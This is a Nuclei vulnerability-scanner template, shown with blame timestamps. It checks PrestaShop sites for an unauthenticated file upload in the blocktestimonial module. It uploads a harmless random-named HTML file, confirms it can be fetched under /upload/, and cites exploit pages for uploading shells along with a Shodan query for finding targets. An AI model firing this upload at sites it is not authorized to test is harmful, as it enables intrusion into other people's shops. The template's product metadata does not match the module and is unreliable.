nuclei-templates/http/vulnerabilities/prestashop/prestashop-blocktestimonial...

74 lines
2.3 KiB
YAML
Raw Permalink Normal View History

id: prestashop-blocktestimonial-file-upload
2023-12-31 16:09:36 +00:00
info:
name: Prestashop Blocktestimonial Modules - File Upload Vulnerability
2023-12-31 16:09:36 +00:00
author: MaStErChO
severity: critical
reference:
- https://3xploit7.blogspot.com/2016/12/pretashop-blocktestimonial-upload-shell.html
- https://github.com/indoxploit-coders/blocktestimonial-file-upload
- https://exploit.linuxsec.org/prestashop-module-blocktestimonial-file-upload-auto-exploit
metadata:
max-request: 2
2023-12-31 16:09:36 +00:00
framework: prestashop
shodan-query: "http.component:\"prestashop\""
product: ap_pagebuilder
vendor: apollotheme
tags: intrusive,file-upload,blocktestimonial,prestashop
2023-12-31 16:09:36 +00:00
variables:
filename: '{{rand_base(7, "abc")}}'
data: '{{rand_base(6, "abc")}}'
2023-12-31 16:09:36 +00:00
http:
- raw:
- |
POST /modules/blocktestimonial/addtestimonial.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLSo7Btb6nGcpR9Cl
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
Content-Disposition: form-data; name="testimonial_submitter_name"
{{data}}
2023-12-31 16:09:36 +00:00
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
Content-Disposition: form-data; name="testimonial_title"
{{data}}
2023-12-31 16:09:36 +00:00
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
Content-Disposition: form-data; name="testimonial_main_message"
{{data}}
2023-12-31 16:09:36 +00:00
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
Content-Disposition: form-data; name="testimonial_img"; filename="{{filename}}.html"
Content-Type: text/html
<html>
<body>
<h1>{{data}}</h1>
2023-12-31 16:09:36 +00:00
</body>
</html>
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl
Content-Disposition: form-data; name="testimonial"
Submit Testimonial
------WebKitFormBoundaryLSo7Btb6nGcpR9Cl--
2023-12-31 16:34:01 +00:00
2023-12-31 16:09:36 +00:00
- |
GET /upload/{{filename}}.html HTTP/1.1
Host: {{Hostname}}
2023-12-31 16:34:01 +00:00
host-redirects: true
2024-09-26 05:11:44 +00:00
max-redirects: 3
2023-12-31 16:09:36 +00:00
matchers-condition: and
matchers:
- type: word
part: body_1
2023-12-31 16:09:36 +00:00
words:
- "Your testimonial was submitted successfully."
2023-12-31 16:09:36 +00:00
- type: word
part: body_2
2023-12-31 16:09:36 +00:00
words:
- "{{data}}"
2024-09-26 05:37:30 +00:00
# digest: 4a0a0047304502202f902a9eb10f155607f1161e9b4ce0acdbc49104e7bc7f0d0cb9d3e02f323b16022100c7115d6e6dccc9828e57c8ab502d6fa362bb651240113ae9ab78ac92523ba72a:922c64590222798bb761d5b6d8e72950